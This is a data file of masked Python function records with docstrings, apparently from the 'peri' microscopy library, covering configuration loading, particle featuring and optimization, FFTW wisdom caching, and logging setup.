{"signature": "def get_conf_filename():", "body": "default = os.path.join(os.path.expanduser(\"<STR_LIT>\"), \"<STR_LIT>\")<EOL>return os.environ.get('<STR_LIT>', default)<EOL>", "docstring": "The configuration file either lives in ~/.peri.json or is specified on the\ncommand line via the environment variables PERI_CONF_FILE", "id": "f5779:m0"}
{"signature": "def transform(v):", "body": "return v.lower().replace('<STR_LIT:_>', '<STR_LIT:->').replace('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Translate environment variables to ones corresponding to keys in the\nconfiguration.  In particular, env variables may be made with\n\"PERI_\"+key_name: fftw-threads = PERI_FFTW_THREADS. Each env var\nis later checked to see if it has to do with PERI", "id": "f5779:m1"}
{"signature": "def read_environment():", "body": "out = {}<EOL>for k,v in iteritems(os.environ):<EOL><INDENT>if transform(k) in default_conf:<EOL><INDENT>out[transform(k)] = v<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Read all environment variables to see if they contain PERI", "id": "f5779:m2"}
{"signature": "def create_default_conf():", "body": "with open(get_conf_filename(), '<STR_LIT:w>') as f:<EOL><INDENT>json.dump(default_conf, f)<EOL><DEDENT>", "docstring": "Dump the default_conf to the configuration file", "id": "f5779:m3"}
{"signature": "def load_conf():", "body": "try:<EOL><INDENT>conf = copy.copy(default_conf)<EOL>conf.update(json.load(open(get_conf_filename())))<EOL>conf.update(read_environment())<EOL>return conf<EOL><DEDENT>except IOError as e:<EOL><INDENT>create_default_conf()<EOL>return load_conf()<EOL><DEDENT>", "docstring": "Load the configuration with the priority:\n    1. environment variables\n    2. configuration file\n    3. defaults here (default_conf)", "id": "f5779:m4"}
{"signature": "def locate_spheres(image, feature_rad, dofilter=False, order=(<NUM_LIT:3> ,<NUM_LIT:3>, <NUM_LIT:3>),<EOL>trim_edge=True, **kwargs):", "body": "<EOL>m = models.SmoothFieldModel()<EOL>I = ilms.LegendrePoly2P1D(order=order, constval=image.get_image().mean())<EOL>s = states.ImageState(image, [I], pad=<NUM_LIT:0>, mdl=m)<EOL>if dofilter:<EOL><INDENT>opt.do_levmarq(s, s.params)<EOL><DEDENT>pos = addsub.feature_guess(s, feature_rad, trim_edge=trim_edge, **kwargs)[<NUM_LIT:0>]<EOL>return pos<EOL>", "docstring": "Get an initial featuring of sphere positions in an image.\n\nParameters\n-----------\nimage : :class:`peri.util.Image` object\n    Image object which defines the image file as well as the region.\n\nfeature_rad : float\n    Radius of objects to find, in pixels. This is a featuring radius\n    and not a real radius, so a better value is frequently smaller\n    than the real radius (half the actual radius is good). If ``use_tp``\n    is True, then the twice ``feature_rad`` is passed as trackpy's\n    ``diameter`` keyword.\n\ndofilter : boolean, optional\n    Whether to remove the background before featuring. Doing so can\n    often greatly increase the success of initial featuring and\n    decrease later optimization time. Filtering functions by fitting\n    the image to a low-order polynomial and featuring the residuals.\n    In doing so, this will change the mean intensity of the featured\n    image and hence the good value of ``minmass`` will change when\n    ``dofilter`` is True. Default is False.\n\norder : 3-element tuple, optional\n    If `dofilter`, the 2+1D Leg Poly approximation to the background\n    illumination field. Default is (3,3,3).\n\nOther Parameters\n----------------\ninvert : boolean, optional\n    Whether to invert the image for featuring. Set to True if the\n    image is dark particles on a bright background. Default is True\nminmass : Float or None, optional\n    The minimum mass/masscut of a particle. Default is None, which\n    calculates internally.\nuse_tp : Bool, optional\n    Whether or not to use trackpy. Default is False, since trackpy\n    cuts out particles at the edge.\n\nReturns\n--------\npositions : np.ndarray [N,3]\n    Positions of the particles in order (z,y,x) in image pixel units.\n\nNotes\n-----\nOptionally filters the image by fitting the image I(x,y,z) to a\npolynomial, then subtracts this fitted intensity variation and uses\ncentroid methods to find the particles.", "id": "f5780:m0"}
{"signature": "def get_initial_featuring(statemaker, feature_rad, actual_rad=None,<EOL>im_name=None, tile=None, invert=True, desc='<STR_LIT>', use_full_path=False,<EOL>featuring_params={}, statemaker_kwargs={}, **kwargs):", "body": "if actual_rad is None:<EOL><INDENT>actual_rad = feature_rad<EOL><DEDENT>_,  im_name = _pick_state_im_name('<STR_LIT>', im_name, use_full_path=use_full_path)<EOL>im = util.RawImage(im_name, tile=tile)<EOL>pos = locate_spheres(im, feature_rad, invert=invert, **featuring_params)<EOL>if np.size(pos) == <NUM_LIT:0>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise ValueError(msg)<EOL><DEDENT>rad = np.ones(pos.shape[<NUM_LIT:0>], dtype='<STR_LIT:float>') * actual_rad<EOL>s = statemaker(im, pos, rad, **statemaker_kwargs)<EOL>RLOG.info('<STR_LIT>')<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc+'<STR_LIT>')<EOL><DEDENT>optimize_from_initial(s, invert=invert, desc=desc, **kwargs)<EOL>return s<EOL>", "docstring": "Completely optimizes a state from an image of roughly monodisperse\nparticles.\n\nThe user can interactively select the image. The state is periodically\nsaved during optimization, with different filename for different stages\nof the optimization.\n\nParameters\n----------\n    statemaker : Function\n        A statemaker function. Given arguments `im` (a\n        :class:`~peri.util.Image`), `pos` (numpy.ndarray), `rad` (ndarray),\n        and any additional `statemaker_kwargs`, must return a\n        :class:`~peri.states.ImageState`.  There is an example function in\n        scripts/statemaker_example.py\n    feature_rad : Int, odd\n        The particle radius for featuring, as passed to locate_spheres.\n    actual_rad : Float, optional\n        The actual radius of the particles. Default is feature_rad\n    im_name : string, optional\n        The file name of the image to load. If not set, it is selected\n        interactively through Tk.\n    tile : :class:`peri.util.Tile`, optional\n        The tile of the raw image to be analyzed. Default is None, the\n        entire image.\n    invert : Bool, optional\n        Whether to invert the image for featuring, as passed to trackpy.\n        Default is True.\n    desc : String, optional\n        A description to be inserted in saved state. The save name will\n        be, e.g., '0.tif-peri-' + desc + 'initial-burn.pkl'. Default is ''\n    use_full_path : Bool, optional\n        Set to True to use the full path name for the image. Default\n        is False.\n    featuring_params : Dict, optional\n        kwargs-like dict of any additional keyword arguments to pass to\n        ``get_initial_featuring``, such as ``'use_tp'`` or ``'minmass'``.\n        Default is ``{}``.\n    statemaker_kwargs : Dict, optional\n        kwargs-like dict of any additional keyword arguments to pass to\n        the statemaker function. Default is ``{}``.\n\nOther Parameters\n----------------\n    max_mem : Numeric\n        The maximum additional memory to use for the optimizers, as\n        passed to optimize.burn. Default is 1e9.\n    min_rad : Float, optional\n        The minimum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius smaller than this are identified\n        as fake and removed. Default is 0.5 * actual_rad.\n    max_rad : Float, optional\n        The maximum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius larger than this are identified\n        as fake and removed. Default is 1.5 * actual_rad, however you\n        may find better results if you make this more stringent.\n    rz_order : int, optional\n        If nonzero, the order of an additional augmented rscl(z)\n        parameter for optimization. Default is 0; i.e. no rscl(z)\n        optimization.\n    zscale : Float, optional\n        The zscale of the image. Default is 1.0\n\nReturns\n-------\n    s : :class:`peri.states.ImageState`\n        The optimized state.\n\nSee Also\n--------\n    feature_from_pos_rad    : Using a previous state's globals and\n        user-provided positions and radii as an initial guess,\n        completely optimizes a state.\n\n    get_particle_featuring  : Using a previous state's globals and\n        positions as an initial guess, completely optimizes a state.\n\n    translate_featuring     : Use a previous state's globals and\n        centroids methods for an initial particle guess, completely\n        optimizes a state.\n\nNotes\n-----\nProceeds by centroid-featuring the image for an initial guess of\nparticle positions, then optimizing the globals + positions until\ntermination as called in _optimize_from_centroid.\nThe ``Other Parameters`` are passed to _optimize_from_centroid.", "id": "f5780:m1"}
{"signature": "def feature_from_pos_rad(statemaker, pos, rad, im_name=None, tile=None,<EOL>desc='<STR_LIT>', use_full_path=False, statemaker_kwargs={}, **kwargs):", "body": "if np.size(pos) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif np.shape(pos)[<NUM_LIT:1>] != <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>_,  im_name = _pick_state_im_name('<STR_LIT>', im_name, use_full_path=use_full_path)<EOL>im = util.RawImage(im_name, tile=tile)<EOL>s = statemaker(im, pos, rad, **statemaker_kwargs)<EOL>RLOG.info('<STR_LIT>')<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc+'<STR_LIT>')<EOL><DEDENT>optimize_from_initial(s, desc=desc, **kwargs)<EOL>return s<EOL>", "docstring": "Gets a completely-optimized state from an image and an initial guess of\nparticle positions and radii.\n\nThe state is periodically saved during optimization, with different\nfilename for different stages of the optimization. The user can select\nthe image.\n\nParameters\n----------\n    statemaker : Function\n        A statemaker function. Given arguments `im` (a\n        :class:`~peri.util.Image`), `pos` (numpy.ndarray), `rad` (ndarray),\n        and any additional `statemaker_kwargs`, must return a\n        :class:`~peri.states.ImageState`.  There is an example function in\n        scripts/statemaker_example.py\n    pos : [N,3] element numpy.ndarray.\n        The initial guess for the N particle positions.\n    rad : N element numpy.ndarray.\n        The initial guess for the N particle radii.\n    im_name : string or None, optional\n        The filename of the image to feature. Default is None, in which\n        the user selects the image.\n    tile : :class:`peri.util.Tile`, optional\n        A tile of the sub-region of the image to feature. Default is\n        None, i.e. entire image.\n    desc : String, optional\n        A description to be inserted in saved state. The save name will\n        be, e.g., '0.tif-peri-' + desc + 'initial-burn.pkl'. Default is ''\n    use_full_path : Bool, optional\n        Set to True to use the full path name for the image. Default\n        is False.\n    statemaker_kwargs : Dict, optional\n        kwargs-like dict of any additional keyword arguments to pass to\n        the statemaker function. Default is ``{}``.\n\nOther Parameters\n----------------\n    max_mem : Numeric\n        The maximum additional memory to use for the optimizers, as\n        passed to optimize.burn. Default is 1e9.\n    min_rad : Float, optional\n        The minimum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius smaller than this are identified\n        as fake and removed. Default is 0.5 * actual_rad.\n    max_rad : Float, optional\n        The maximum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius larger than this are identified\n        as fake and removed. Default is 1.5 * actual_rad, however you\n        may find better results if you make this more stringent.\n    invert : {'guess', True, False}\n        Whether to invert the image for featuring, as passed to\n        addsubtract.add_subtract. Default is to guess from the\n        current state's particle positions.\n    rz_order : int, optional\n        If nonzero, the order of an additional augmented rscl(z)\n        parameter for optimization. Default is 0; i.e. no rscl(z)\n        optimization.\n    zscale : Float, optional\n        The zscale of the image. Default is 1.0\n\nReturns\n-------\n    s : :class:`peri.states.ImageState`\n        The optimized state.\n\nSee Also\n--------\n    get_initial_featuring   : Features an image from scratch, using\n        centroid methods as initial particle locations.\n\n    get_particle_featuring  : Using a previous state's globals and\n        positions as an initial guess, completely optimizes a state.\n\n    translate_featuring     : Use a previous state's globals and\n        centroids methods for an initial particle guess, completely\n        optimizes a state.\n\nNotes\n-----\nThe ``Other Parameters`` are passed to _optimize_from_centroid.\nProceeds by centroid-featuring the image for an initial guess of\nparticle positions, then optimizing the globals + positions until\ntermination as called in _optimize_from_centroid.", "id": "f5780:m2"}
{"signature": "def optimize_from_initial(s, max_mem=<NUM_LIT>, invert='<STR_LIT>', desc='<STR_LIT>', rz_order=<NUM_LIT:3>,<EOL>min_rad=None, max_rad=None):", "body": "RLOG.info('<STR_LIT>')<EOL>if desc is not None:<EOL><INDENT>desc_burn = desc + '<STR_LIT>'<EOL>desc_polish = desc + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>desc_burn, desc_polish = [None] * <NUM_LIT:2><EOL><DEDENT>opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:3>, fractol=<NUM_LIT:0.1>, desc=desc_burn,<EOL>max_mem=max_mem, include_rad=False, dowarn=False)<EOL>opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:3>, fractol=<NUM_LIT:0.1>, desc=desc_burn,<EOL>max_mem=max_mem, include_rad=True, dowarn=False)<EOL>RLOG.info('<STR_LIT>')<EOL>rad = s.obj_get_radii()<EOL>if min_rad is None:<EOL><INDENT>min_rad = <NUM_LIT:0.5> * np.median(rad)<EOL><DEDENT>if max_rad is None:<EOL><INDENT>max_rad = <NUM_LIT> * np.median(rad)<EOL><DEDENT>addsub.add_subtract(s, tries=<NUM_LIT:30>, min_rad=min_rad, max_rad=max_rad,<EOL>invert=invert)<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc + '<STR_LIT>')<EOL><DEDENT>RLOG.info('<STR_LIT>')<EOL>d = opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:8>, fractol=<NUM_LIT>, desc=desc_polish,<EOL>max_mem=max_mem, rz_order=rz_order, dowarn=False)<EOL>if not d['<STR_LIT>']:<EOL><INDENT>RLOG.warn('<STR_LIT>')<EOL><DEDENT>return s<EOL>", "docstring": "Optimizes a state from an initial set of positions and radii, without\nany known microscope parameters.\n\nParameters\n----------\n    s : :class:`peri.states.ImageState`\n        The state to optimize. It is modified internally and returned.\n    max_mem : Numeric, optional\n        The maximum memory for the optimizer to use. Default is 1e9 (bytes)\n    invert : Bool or `'guess'`, optional\n        Set to True if the image is dark particles on a bright\n        background, False otherwise. Used for add-subtract. The\n        default is to guess from the state's current particles.\n    desc : String, optional\n        An additional description to infix for periodic saving along the\n        way. Default is the null string ``''``.\n    rz_order : int, optional\n        ``rz_order`` as passed to opt.burn. Default is 3\n    min_rad : Float or None, optional\n        The minimum radius to identify a particles as bad, as passed to\n        add-subtract. Default is None, which picks half the median radii.\n        If your sample is not monodisperse you should pick a different\n        value.\n    max_rad : Float or None, optional\n        The maximum radius to identify a particles as bad, as passed to\n        add-subtract. Default is None, which picks 1.5x the median radii.\n        If your sample is not monodisperse you should pick a different\n        value.\n\nReturns\n-------\n    s : :class:`peri.states.ImageState`\n        The optimized state, which is the same as the input ``s`` but\n        modified in-place.", "id": "f5780:m3"}
{"signature": "def translate_featuring(state_name=None, im_name=None, use_full_path=False,<EOL>**kwargs):", "body": "state_name, im_name = _pick_state_im_name(<EOL>state_name, im_name, use_full_path=use_full_path)<EOL>s = states.load(state_name)<EOL>im = util.RawImage(im_name, tile=s.image.tile)<EOL>s.set_image(im)<EOL>_translate_particles(s, **kwargs)<EOL>return s<EOL>", "docstring": "Translates one optimized state into another image where the particles\nhave moved by a small amount (~1 particle radius).\n\nReturns a completely-optimized state. The user can interactively\nselects the initial state and the second raw image. The state is\nperiodically saved during optimization, with different filename for\ndifferent stages of the optimization.\n\nParameters\n----------\n    state_name : String or None, optional\n        The name of the initially-optimized state. Default is None,\n        which prompts the user to select the name interactively\n        through a Tk window.\n    im_name : String or None, optional\n        The name of the new image to optimize. Default is None,\n        which prompts the user to select the name interactively\n        through a Tk window.\n    use_full_path : Bool, optional\n        Set to True to use the full path of the state instead of\n        partial path names (e.g. /full/path/name/state.pkl vs\n        state.pkl). Default is False\n\nOther Parameters\n----------------\n    max_mem : Numeric\n        The maximum additional memory to use for the optimizers, as\n        passed to optimize.burn. Default is 1e9.\n    desc : String, optional\n        A description to be inserted in saved state. The save name will\n        be, e.g., '0.tif-peri-' + desc + 'initial-burn.pkl'. Default is ''\n    min_rad : Float, optional\n        The minimum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius smaller than this are identified\n        as fake and removed. Default is 0.5 * actual_rad.\n    max_rad : Float, optional\n        The maximum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius larger than this are identified\n        as fake and removed. Default is 1.5 * actual_rad, however you\n        may find better results if you make this more stringent.\n    invert : {True, False, 'guess'}\n        Whether to invert the image for featuring, as passed to\n        addsubtract.add_subtract. Default is to guess from the\n        state's current particles.\n    rz_order : int, optional\n        If nonzero, the order of an additional augmented rscl(z)\n        parameter for optimization. Default is 0; i.e. no rscl(z)\n        optimization.\n    do_polish : Bool, optional\n        Set to False to only optimize the particles and add-subtract.\n        Default is True, which then runs a polish afterwards.\n\nReturns\n-------\n    s : :class:`peri.states.ImageState`\n        The optimized state.\n\nSee Also\n--------\n    get_initial_featuring   : Features an image from scratch, using\n        centroid methods as initial particle locations.\n\n    feature_from_pos_rad    : Using a previous state's globals and\n        user-provided positions and radii as an initial guess,\n        completely optimizes a state.\n\n    get_particle_featuring  : Using a previous state's globals and\n        positions as an initial guess, completely optimizes a state.\n\nNotes\n-----\nThe ``Other Parameters`` are passed to _translate_particles.\nProceeds by:\n    1. Optimize particle positions only.\n    2. Optimize particle positions and radii only.\n    3. Add-subtract missing and bad particles.\n    4. If polish, optimize the illumination, background, and particles.\n    5. If polish, optimize everything.", "id": "f5780:m4"}
{"signature": "def get_particles_featuring(feature_rad, state_name=None, im_name=None,<EOL>use_full_path=False, actual_rad=None, invert=True, featuring_params={},<EOL>**kwargs):", "body": "state_name, im_name = _pick_state_im_name(<EOL>state_name, im_name, use_full_path=use_full_path)<EOL>s = states.load(state_name)<EOL>if actual_rad is None:<EOL><INDENT>actual_rad = np.median(s.obj_get_radii())<EOL><DEDENT>im = util.RawImage(im_name, tile=s.image.tile)<EOL>pos = locate_spheres(im, feature_rad, invert=invert, **featuring_params)<EOL>_ = s.obj_remove_particle(np.arange(s.obj_get_radii().size))<EOL>s.obj_add_particle(pos, np.ones(pos.shape[<NUM_LIT:0>])*actual_rad)<EOL>s.set_image(im)<EOL>_translate_particles(s, invert=invert, **kwargs)<EOL>return s<EOL>", "docstring": "Combines centroid featuring with the globals from a previous state.\n\nRuns trackpy.locate on an image, sets the globals from a previous state,\ncalls _translate_particles\n\nParameters\n----------\n    feature_rad : Int, odd\n        The particle radius for featuring, as passed to locate_spheres.\n\n    state_name : String or None, optional\n        The name of the initially-optimized state. Default is None,\n        which prompts the user to select the name interactively\n        through a Tk window.\n    im_name : String or None, optional\n        The name of the new image to optimize. Default is None,\n        which prompts the user to select the name interactively\n        through a Tk window.\n    use_full_path : Bool, optional\n        Set to True to use the full path of the state instead of\n        partial path names (e.g. /full/path/name/state.pkl vs\n        state.pkl). Default is False\n    actual_rad : Float or None, optional\n        The initial guess for the particle radii. Default is the median\n        of the previous state.\n    invert : Bool\n        Whether to invert the image for featuring, as passed to\n        addsubtract.add_subtract and locate_spheres. Set to False\n        if the image is bright particles on a dark background.\n        Default is True (dark particles on bright background).\n    featuring_params : Dict, optional\n        kwargs-like dict of any additional keyword arguments to pass to\n        ``get_initial_featuring``, such as ``'use_tp'`` or ``'minmass'``.\n        Default is ``{}``.\n\n\nOther Parameters\n----------------\n    max_mem : Numeric\n        The maximum additional memory to use for the optimizers, as\n        passed to optimize.burn. Default is 1e9.\n    desc : String, optional\n        A description to be inserted in saved state. The save name will\n        be, e.g., '0.tif-peri-' + desc + 'initial-burn.pkl'. Default is ''\n    min_rad : Float, optional\n        The minimum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius smaller than this are identified\n        as fake and removed. Default is 0.5 * actual_rad.\n    max_rad : Float, optional\n        The maximum particle radius, as passed to addsubtract.add_subtract.\n        Particles with a fitted radius larger than this are identified\n        as fake and removed. Default is 1.5 * actual_rad, however you\n        may find better results if you make this more stringent.\n    rz_order : int, optional\n        If nonzero, the order of an additional augmented rscl(z)\n        parameter for optimization. Default is 0; i.e. no rscl(z)\n        optimization.\n    do_polish : Bool, optional\n        Set to False to only optimize the particles and add-subtract.\n        Default is True, which then runs a polish afterwards.\n\nReturns\n-------\n    s : :class:`peri.states.ImageState`\n        The optimized state.\n\nSee Also\n--------\n    get_initial_featuring   : Features an image from scratch, using\n        centroid methods as initial particle locations.\n\n    feature_from_pos_rad    : Using a previous state's globals and\n        user-provided positions and radii as an initial guess,\n        completely optimizes a state.\n\n    translate_featuring     : Use a previous state's globals and\n        centroids methods for an initial particle guess, completely\n        optimizes a state.\n\nNotes\n-----\n    The ``Other Parameters`` are passed to _translate_particles.\nProceeds by:\n    1. Find a guess of the particle positions through centroid methods.\n    2. Optimize particle positions only.\n    3. Optimize particle positions and radii only.\n    4. Add-subtract missing and bad particles.\n    5. If polish, optimize the illumination, background, and particles.\n    6. If polish, optimize everything.", "id": "f5780:m5"}
{"signature": "def _pick_state_im_name(state_name, im_name, use_full_path=False):", "body": "initial_dir = os.getcwd()<EOL>if (state_name is None) or (im_name is None):<EOL><INDENT>wid = tk.Tk()<EOL>wid.withdraw()<EOL><DEDENT>if state_name is None:<EOL><INDENT>state_name = tkfd.askopenfilename(<EOL>initialdir=initial_dir, title='<STR_LIT>')<EOL>os.chdir(os.path.dirname(state_name))<EOL><DEDENT>if im_name is None:<EOL><INDENT>im_name = tkfd.askopenfilename(<EOL>initialdir=initial_dir, title='<STR_LIT>')<EOL><DEDENT>if (not use_full_path) and (os.path.dirname(im_name) != '<STR_LIT>'):<EOL><INDENT>im_path = os.path.dirname(im_name)<EOL>os.chdir(im_path)<EOL>im_name = os.path.basename(im_name)<EOL><DEDENT>else:<EOL><INDENT>os.chdir(initial_dir)<EOL><DEDENT>return state_name, im_name<EOL>", "docstring": "If state_name or im_name is None, picks them interactively through Tk,\nand then sets with or without the full path.\n\nParameters\n----------\n    state_name : {string, None}\n        The name of the state. If None, selected through Tk.\n    im_name : {string, None}\n        The name of the image. If None, selected through Tk.\n    use_full_path : Bool, optional\n        Set to True to return the names as full paths rather than\n        relative paths. Default is False (relative path).", "id": "f5780:m6"}
{"signature": "def _translate_particles(s, max_mem=<NUM_LIT>, desc='<STR_LIT>', min_rad='<STR_LIT>',<EOL>max_rad='<STR_LIT>', invert='<STR_LIT>', rz_order=<NUM_LIT:0>, do_polish=True):", "body": "if desc is not None:<EOL><INDENT>desc_trans = desc + '<STR_LIT>'<EOL>desc_burn = desc + '<STR_LIT>'<EOL>desc_polish = desc + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>desc_trans, desc_burn, desc_polish = [None]*<NUM_LIT:3><EOL><DEDENT>RLOG.info('<STR_LIT>')<EOL>opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:4>, fractol=<NUM_LIT:0.1>, desc=desc_trans,<EOL>max_mem=max_mem, include_rad=False, dowarn=False)<EOL>opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:4>, fractol=<NUM_LIT>, desc=desc_trans,<EOL>max_mem=max_mem, include_rad=True, dowarn=False)<EOL>RLOG.info('<STR_LIT>')<EOL>addsub.add_subtract(s, tries=<NUM_LIT:30>, min_rad=min_rad, max_rad=max_rad,<EOL>invert=invert)<EOL>if desc is not None:<EOL><INDENT>states.save(s, desc=desc + '<STR_LIT>')<EOL><DEDENT>if do_polish:<EOL><INDENT>RLOG.info('<STR_LIT>')<EOL>opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:3>, fractol=<NUM_LIT>, desc=desc_burn,<EOL>max_mem=max_mem, rz_order=rz_order,dowarn=False)<EOL>RLOG.info('<STR_LIT>')<EOL>d = opt.burn(s, mode='<STR_LIT>', n_loop=<NUM_LIT:4>, fractol=<NUM_LIT>, desc=desc_polish,<EOL>max_mem=max_mem, rz_order=rz_order, dowarn=False)<EOL>if not d['<STR_LIT>']:<EOL><INDENT>RLOG.warn('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Workhorse for translating particles. See get_particles_featuring for docs.", "id": "f5780:m7"}
{"signature": "def link_zscale(st):", "body": "<EOL>psf = st.get('<STR_LIT>')<EOL>psf.param_dict['<STR_LIT>'] = psf.param_dict['<STR_LIT>']<EOL>psf.params[psf.params.index('<STR_LIT>')] = '<STR_LIT>'<EOL>psf.global_zscale = True<EOL>psf.param_dict.pop('<STR_LIT>')<EOL>st.trigger_parameter_change()<EOL>st.reset()<EOL>", "docstring": "Links the state ``st`` psf zscale with the global zscale", "id": "f5780:m8"}
{"signature": "def finish_state(st, desc='<STR_LIT>', invert='<STR_LIT>'):", "body": "for minmass in [None, <NUM_LIT:0>]:<EOL><INDENT>for _ in range(<NUM_LIT:3>):<EOL><INDENT>npart, poses = addsub.add_subtract_locally(st, region_depth=<NUM_LIT:7>,<EOL>minmass=minmass, invert=invert)<EOL>if npart == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>opt.finish(st, n_loop=<NUM_LIT:1>, separate_psf=True, desc=desc, dowarn=False)<EOL>opt.burn(st, mode='<STR_LIT>', desc=desc, n_loop=<NUM_LIT:2>, dowarn=False)<EOL>d = opt.finish(st, desc=desc, n_loop=<NUM_LIT:4>, dowarn=False)<EOL>if not d['<STR_LIT>']:<EOL><INDENT>RLOG.warn('<STR_LIT>')<EOL><DEDENT>", "docstring": "Final optimization for the best-possible state.\n\nRuns a local add-subtract to capture any difficult-to-feature particles,\nthen does another set of optimization designed to get to the best\npossible fit.\n\nParameters\n----------\n    st : :class:`peri.states.ImageState`\n        The state to finish\n    desc : String, optional\n        Description to intermittently save the state as, as passed to\n        state.save. Default is `'finish-state'`.\n    invert : {'guess', True, False}\n        Whether to invert the image for featuring, as passed to\n        addsubtract.add_subtract. Default is to guess from the\n        state's current particles.\n\nSee Also\n--------\n    `peri.opt.addsubtract.add_subtract_locally`\n    `peri.opt.optimize.finish`", "id": "f5780:m9"}
{"signature": "def emit(self,record):", "body": "err_message = self.format(record)<EOL>pygmentize(err_message)<EOL>", "docstring": "Send the message", "id": "f5781:c2:m1"}
{"signature": "def load_wisdom(wisdomfile):", "body": "if wisdomfile is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>pyfftw.import_wisdom(pickle.load(open(wisdomfile, '<STR_LIT:rb>')))<EOL><DEDENT>except (IOError, TypeError) as e:<EOL><INDENT>log.warn(\"<STR_LIT>\" % wisdomfile)<EOL>save_wisdom(wisdomfile)<EOL><DEDENT>", "docstring": "Prime FFTW with knowledge of which FFTs are best on this machine by\nloading 'wisdom' from the file ``wisdomfile``", "id": "f5782:m0"}
{"signature": "def save_wisdom(wisdomfile):", "body": "if wisdomfile is None:<EOL><INDENT>return<EOL><DEDENT>if wisdomfile:<EOL><INDENT>pickle.dump(<EOL>pyfftw.export_wisdom(), open(wisdomfile, '<STR_LIT:wb>'),<EOL>protocol=<NUM_LIT:2><EOL>)<EOL><DEDENT>", "docstring": "Save the acquired 'wisdom' generated by FFTW to file so that future\ninitializations of FFTW will be faster.", "id": "f5782:m1"}
{"signature": "def __init__(self, verbosity='<STR_LIT>', colorlogs=False, logtofile=False,<EOL>logfilename='<STR_LIT>'):", "body": "self.log = logging.getLogger('<STR_LIT>')<EOL>self.log.setLevel(<NUM_LIT:1>)<EOL>self.handlers = {}<EOL>self.verbosity = sanitize(verbosity)<EOL>self.logfilename = logfilename<EOL>level = v2l.get(verbosity, '<STR_LIT:info>')<EOL>form  = v2f.get(verbosity, '<STR_LIT>')<EOL>color = '<STR_LIT>' if colorlogs else '<STR_LIT>'<EOL>if logtofile:<EOL><INDENT>self.add_handler(<EOL>name='<STR_LIT>', level=level, formatter=form,<EOL>filename=self.logfilename<EOL>)<EOL><DEDENT>self.add_handler(name=color, level=level, formatter=form)<EOL>", "docstring": "Create a new logger class. Since the logging interface is actually global,\nany new logs will create even more clutter on the screen. Therefore,\nonly create one! (as is created at the bottom of this file)", "id": "f5783:c0:m0"}
{"signature": "def set_level(self, level='<STR_LIT:info>', handlers=None):", "body": "for h in self.get_handlers(handlers):<EOL><INDENT>h.setLevel(levels[level])<EOL><DEDENT>", "docstring": "Set the logging level (which types of logs are actually printed / recorded)\nto one of ['debug', 'info', 'warn', 'error', 'fatal'] in that order\nof severity", "id": "f5783:c0:m3"}
{"signature": "def set_formatter(self, formatter='<STR_LIT>', handlers=None):", "body": "for h in self.get_handlers(handlers):<EOL><INDENT>h.setFormatter(logging.Formatter(formatters[formatter]))<EOL><DEDENT>", "docstring": "Set the text format of messages to one of the pre-determined forms,\none of ['quiet', 'minimal', 'standard', 'verbose']", "id": "f5783:c0:m4"}
{"signature": "def add_handler(self, name='<STR_LIT>', level='<STR_LIT:info>', formatter='<STR_LIT>', **kwargs):", "body": "<EOL>if name == '<STR_LIT>' and '<STR_LIT:filename>' not in kwargs:<EOL><INDENT>kwargs.update({'<STR_LIT:filename>': self.logfilename})<EOL><DEDENT>if name == '<STR_LIT>' and '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs.update({'<STR_LIT>': StringIO.StringIO()})<EOL><DEDENT>handler = types[name](**kwargs)<EOL>self.add_handler_raw(handler, name, level=level, formatter=formatter)<EOL>", "docstring": "Add another handler to the logging system if not present already.\nAvailable handlers are currently: ['console-bw', 'console-color', 'rotating-log']", "id": "f5783:c0:m5"}
{"signature": "def remove_handler(self, name):", "body": "if name in self.handlers:<EOL><INDENT>self.log.removeHandler(self.handlers[name])<EOL><DEDENT>", "docstring": "Remove handler from the logging system if present already.\nAvailable handlers are currently: ['console-bw', 'console-color', 'rotating-log']", "id": "f5783:c0:m7"}
{"signature": "@contextmanager<EOL><INDENT>def noformat(self):<DEDENT>", "body": "try:<EOL><INDENT>formats = {}<EOL>for h in self.get_handlers():<EOL><INDENT>formats[h] = h.formatter<EOL><DEDENT>self.set_formatter(formatter='<STR_LIT>')<EOL>yield<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>for k,v in iteritems(formats):<EOL><INDENT>k.formatter = v<EOL><DEDENT><DEDENT>", "docstring": "Temporarily do not use any formatter so that text printed is raw", "id": "f5783:c0:m8"}
{"signature": "def set_verbosity(self, verbosity='<STR_LIT>', handlers=None):", "body": "self.verbosity = sanitize(verbosity)<EOL>self.set_level(v2l[verbosity], handlers=handlers)<EOL>self.set_formatter(v2f[verbosity], handlers=handlers)<EOL>", "docstring": "Set the verbosity level of a certain log handler or of all handlers.\n\nParameters\n----------\nverbosity : 'v' to 'vvvvv'\n    the level of verbosity, more v's is more verbose\n\nhandlers : string, or list of strings\n    handler names can be found in ``peri.logger.types.keys()``\n    Current set is::\n\n        ['console-bw', 'console-color', 'rotating-log']", "id": "f5783:c0:m9"}
